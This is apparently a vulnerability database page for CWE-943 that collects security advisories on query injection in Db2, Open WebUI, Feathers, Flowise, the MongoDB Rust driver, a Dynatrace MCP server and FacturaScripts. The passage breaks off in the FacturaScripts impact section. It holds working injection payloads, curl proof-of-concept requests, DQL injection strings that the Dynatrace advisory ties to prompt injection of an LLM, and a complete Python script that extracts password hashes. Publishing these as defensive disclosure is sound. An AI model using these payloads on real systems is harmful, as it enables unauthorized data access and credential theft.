Common Weakness Enumeration

CWE-943

Allowed-with-Review

Improper Neutralization of Special Elements in Data Query Logic

Abstraction: Class · Status: Incomplete

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

225 vulnerabilities reference this CWE, most recent first.

GHSA-MVH2-WMR8-Q886

Vulnerability from github – Published: 2026-01-31 00:30 – Updated: 2026-01-31 00:30
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 could allow a local user to cause a denial of service due to improper neutralization of special elements in data query logic.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-30T22:15:54Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 could allow a local user to cause a denial of service due to improper neutralization of special elements in data query logic.",
  "id": "GHSA-mvh2-wmr8-q886",
  "modified": "2026-01-31T00:30:28Z",
  "published": "2026-01-31T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36366"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7257681"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P5CP-R7RG-QPXC

Vulnerability from github – Published: 2026-06-17 17:57 – Updated: 2026-07-20 21:08
VLAI
Summary
Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode
Details

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

  • GHSA-h36f-rqpx-j5wx
  • CVE-2026-44560
  • "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

  1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
  2. Escape or parameterize Milvus expression values before building filters.
  3. Reject collection names containing quotes/control characters unless they match a known internal format.
  4. Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:57:43Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "MODERATE"
  },
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "GHSA-p5cp-r7rg-qpxc",
  "modified": "2026-07-20T21:08:21Z",
  "published": "2026-06-17T17:57:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54019"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2750.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}

GHSA-P9XR-7P9P-GPQX

Vulnerability from github – Published: 2026-03-10 21:03 – Updated: 2026-03-10 22:55
VLAI
Summary
Feathers has a NoSQL Injection via WebSocket id Parameter in MongoDB Adapter
Details

Socket.IO clients can send arbitrary JavaScript objects as the id argument to any service method (get, patch, update, remove). The transport layer performs no type checking on this argument. When the service uses the MongoDB adapter, these objects pass through getObjectId() and land directly in the MongoDB query as operators. Sending {$ne: null} as the id matches every document in the collection.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.41"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@feathersjs/mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T21:03:40Z",
    "nvd_published_at": "2026-03-10T20:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Socket.IO clients can send arbitrary JavaScript objects as the id argument to any service method (get, patch, update, remove). The transport layer performs no type checking on this argument. When the service uses the MongoDB adapter, these objects pass through getObjectId() and land directly in the MongoDB query as operators. Sending {$ne: null} as the id matches every document in the collection.",
  "id": "GHSA-p9xr-7p9p-gpqx",
  "modified": "2026-03-10T22:55:42Z",
  "published": "2026-03-10T21:03:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/feathersjs/feathers/security/advisories/GHSA-p9xr-7p9p-gpqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29793"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/feathersjs/feathers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Feathers has a NoSQL Injection via WebSocket id Parameter in MongoDB Adapter"
}

GHSA-PCG8-JX3G-5WM7

Vulnerability from github – Published: 2026-09-15 18:32 – Updated: 2026-09-15 18:32
VLAI
Details

Flowise before 3.1.4 fails to sanitize the overrideConfig.sessionId parameter before using it in MongoDB queries within the MongoDBMemory node. Unauthenticated attackers can submit MongoDB operator objects through the prediction API to read chat history records belonging to other users from the shared collection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-91937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T16:17:45Z",
    "severity": "HIGH"
  },
  "details": "Flowise before 3.1.4 fails to sanitize the overrideConfig.sessionId parameter before using it in MongoDB queries within the MongoDBMemory node. Unauthenticated attackers can submit MongoDB operator objects through the prediction API to read chat history records belonging to other users from the shared collection.",
  "id": "GHSA-pcg8-jx3g-5wm7",
  "modified": "2026-09-15T18:32:28Z",
  "published": "2026-09-15T18:32:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wpvf-4vfx-rgxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91937"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-before-3.1.4-nosql-injection-via-sessionid"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PM5H-MRQ6-HCCX

Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-09-10 18:31
VLAI
Details

Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Rust Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-88024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T18:18:12Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Rust Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.",
  "id": "GHSA-pm5h-mrq6-hccx",
  "modified": "2026-09-10T18:31:48Z",
  "published": "2026-09-10T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88024"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/RUST-2469"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PQH8-P93P-2RX7

Vulnerability from github – Published: 2026-07-31 15:56 – Updated: 2026-07-31 15:56
VLAI
Summary
@dynatrace-oss/dynatrace-mcp-server has a DQL injection via parameters not documented as DQL
Details

Summary

A DQL injection vulnerability in several read tools lets a caller bypass the tools' documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers.

Details

Several tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as "24h" timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use // line comments (documented in the Dynatrace DQL language reference) to discard the rest of the intended query.

The marginal-privilege ceiling is low because the operator's token also exposes execute_dql with full DQL access. What the injection grants is the ability to bypass the affected tools' contract: the readOnlyHint: true annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., | fields id, name, type), the display caps (maxProblemsToDisplay, maxVulnerabilitiesToDisplay, maxEntitiesToDisplay), and the time-window bounds.

The vulnerable interpolations are:

File Line Parameter Interpolation
src/capabilities/find-monitored-entity-by-name.ts 23 entityNames[] `fetch ${entityType} \| search "*${entityNames.join('*" OR "*')}*" \| fieldsAdd entity.type \| expand tags`
src/capabilities/find-monitored-entity-by-name.ts 41 entityNames[] `smartscapeNodes "*" \| search "*${entityNames.join('*" OR "*')}*" \| fields id, name, type`
src/capabilities/list-problems.ts 27 timeframe `fetch dt.davis.problems, from: now()-${timeframe}, to: now()`
src/capabilities/list-vulnerabilities.ts 19 timeframe `fetch security.events, from: now()-${timeframe}, to: now()`
src/capabilities/list-exceptions.ts 11 timeframe `fetch user.events, from: now()-${timeframe}, to: now()`
src/capabilities/get-events-for-cluster.ts 20 timeframe `fetch events, from: now()-${timeframe}, to: now()`
src/capabilities/get-events-for-cluster.ts 27 clusterId, kubernetesEntityId `\| filter k8s.cluster.uid == "${clusterId}" or dt.entity.kubernetes_cluster == "${kubernetesEntityId}"`

All Zod schemas for these parameters use z.string() or z.array(z.string()) with no pattern validation.

PoC

clusterId - quote-and-comment break-out. With clusterId = 'x" or 1==1 //' the constructed query becomes:

| filter k8s.cluster.uid == "x" or 1==1 //" or dt.entity.kubernetes_cluster == ""

The first " closes the string literal, or 1==1 neutralises the filter to match every row, and // discards the rest of the line including the kubernetesEntityId guard.

entityNames - pipeline-stage injection. With entityNames = ['svc" | fields id, name, tags //'] the constructed smartscape query becomes:

smartscapeNodes "*" | search "*svc" | fields id, name, tags //*" | fields id, name, type

After the // line comment, the effective query is smartscapeNodes "*" | search "*svc" | fields id, name, tags. The original | fields id, name, type stage is suppressed and replaced with the attacker's field selection - the tool returns whatever field set the attacker requests (including ones not in the tool's documented output contract).

timeframe - prefix injection. With timeframe = '30d, to: now() | fieldsAdd internal_secret //' the list-problems query becomes:

fetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now()
| filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate)
...

A new pipeline stage is injected before the tool's intended | filter, and the rest of the query is commented out.

The server's own verify_dql tool can be used to confirm any specific injection payload parses as valid DQL.

Impact

  • A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools' field-scope, time-window, and display caps.
  • The affected tools are annotated readOnlyHint: true, which some MCP clients treat as a signal to auto-approve. The injection turns a "safe" read tool into an arbitrary-DQL surface.
  • No new data access beyond what execute_dql already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@dynatrace-oss/dynatrace-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T15:56:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA DQL injection vulnerability in several read tools lets a caller bypass the tools\u0027 documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers.\n\n### Details\nSeveral tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as `\"24h\"` timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use `//` line comments (documented in the [Dynatrace DQL language reference](https://docs.dynatrace.com/docs/discover-dynatrace/platform/grail/dynatrace-query-language/dql-reference)) to discard the rest of the intended query.\n\nThe marginal-privilege ceiling is low because the operator\u0027s token also exposes `execute_dql` with full DQL access. What the injection grants is the ability to bypass the affected tools\u0027 contract: the `readOnlyHint: true` annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., `| fields id, name, type`), the display caps (`maxProblemsToDisplay`, `maxVulnerabilitiesToDisplay`, `maxEntitiesToDisplay`), and the time-window bounds.\n\nThe vulnerable interpolations are:\n\n| File | Line | Parameter | Interpolation |\n|------|------|-----------|---------------|\n| `src/capabilities/find-monitored-entity-by-name.ts` | 23 | `entityNames[]` | `` `fetch ${entityType} \\| search \"*${entityNames.join(\u0027*\" OR \"*\u0027)}*\" \\| fieldsAdd entity.type \\| expand tags` `` |\n| `src/capabilities/find-monitored-entity-by-name.ts` | 41 | `entityNames[]` | `` `smartscapeNodes \"*\" \\| search \"*${entityNames.join(\u0027*\" OR \"*\u0027)}*\" \\| fields id, name, type` `` |\n| `src/capabilities/list-problems.ts` | 27 | `timeframe` | `` `fetch dt.davis.problems, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/list-vulnerabilities.ts` | 19 | `timeframe` | `` `fetch security.events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/list-exceptions.ts` | 11 | `timeframe` | `` `fetch user.events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/get-events-for-cluster.ts` | 20 | `timeframe` | `` `fetch events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/get-events-for-cluster.ts` | 27 | `clusterId`, `kubernetesEntityId` | `` `\\| filter k8s.cluster.uid == \"${clusterId}\" or dt.entity.kubernetes_cluster == \"${kubernetesEntityId}\"` `` |\n\nAll Zod schemas for these parameters use `z.string()` or `z.array(z.string())` with no pattern validation.\n\n### PoC\n**`clusterId` - quote-and-comment break-out.** With `clusterId = \u0027x\" or 1==1 //\u0027` the constructed query becomes:\n\n```\n| filter k8s.cluster.uid == \"x\" or 1==1 //\" or dt.entity.kubernetes_cluster == \"\"\n```\n\nThe first `\"` closes the string literal, `or 1==1` neutralises the filter to match every row, and `//` discards the rest of the line including the `kubernetesEntityId` guard.\n\n**`entityNames` - pipeline-stage injection.** With `entityNames = [\u0027svc\" | fields id, name, tags //\u0027]` the constructed smartscape query becomes:\n\n```\nsmartscapeNodes \"*\" | search \"*svc\" | fields id, name, tags //*\" | fields id, name, type\n```\n\nAfter the `//` line comment, the effective query is `smartscapeNodes \"*\" | search \"*svc\" | fields id, name, tags`. The original `| fields id, name, type` stage is suppressed and replaced with the attacker\u0027s field selection - the tool returns whatever field set the attacker requests (including ones not in the tool\u0027s documented output contract).\n\n**`timeframe` - prefix injection.** With `timeframe = \u002730d, to: now() | fieldsAdd internal_secret //\u0027` the list-problems query becomes:\n\n```\nfetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now()\n| filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate)\n...\n```\n\nA new pipeline stage is injected before the tool\u0027s intended `| filter`, and the rest of the query is commented out.\n\nThe server\u0027s own `verify_dql` tool can be used to confirm any specific injection payload parses as valid DQL.\n\n### Impact\n- A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools\u0027 field-scope, time-window, and display caps.\n- The affected tools are annotated `readOnlyHint: true`, which some MCP clients treat as a signal to auto-approve. The injection turns a \"safe\" read tool into an arbitrary-DQL surface.\n- No new data access beyond what `execute_dql` already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation.",
  "id": "GHSA-pqh8-p93p-2rx7",
  "modified": "2026-07-31T15:56:12Z",
  "published": "2026-07-31T15:56:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-pqh8-p93p-2rx7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/pull/562"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/commit/15d3546c0618ffbaeaeca477337e08e92f2151bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@dynatrace-oss/dynatrace-mcp-server has a DQL injection via parameters not documented as DQL"
}

GHSA-PQQG-5F4F-8952

Vulnerability from github – Published: 2026-02-03 18:17 – Updated: 2026-02-04 21:57
VLAI
Summary
FacturaScripts has SQL Injection in Autocomplete Actions
Details

Summary

FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.


Details

Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

Vulnerable Code Location

File: /Core/Model/CodeModel.php Method: all() Lines: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

  1. source → Maps to $tableName - Table name injection
  2. fieldcode → Maps to $fieldCode - Column name injection
  3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)

Attack Flow

  1. Attacker authenticates with valid credentials (any user role)
  2. Attacker sends POST request to /CopyModel with action=autocomplete
  3. Malicious SQL functions/queries are injected via the fieldtitle parameter
  4. Application executes the injected SQL and returns results in JSON format
  5. Attacker extracts sensitive data from the database

Proof of Concept (PoC)

Prerequisites

  • Valid authentication credentials (admin/admin in test instance)
  • Access to FacturaScripts web interface

Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.

1. Obtain initial token and session cookie: FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie.

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Authenticate (Login): Use the saved cookie and the token to log in.

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extract Database Version: Obtain a fresh token for the next request and execute the injection.

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extract Database User and Name:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extract Admin Password Hash:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Automated Exploitation Script

#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()

image


Impact

This SQL injection vulnerability has CRITICAL impact:

Data Confidentiality

  • Complete database disclosure - Attacker can extract all data including:
  • User credentials (password hashes)
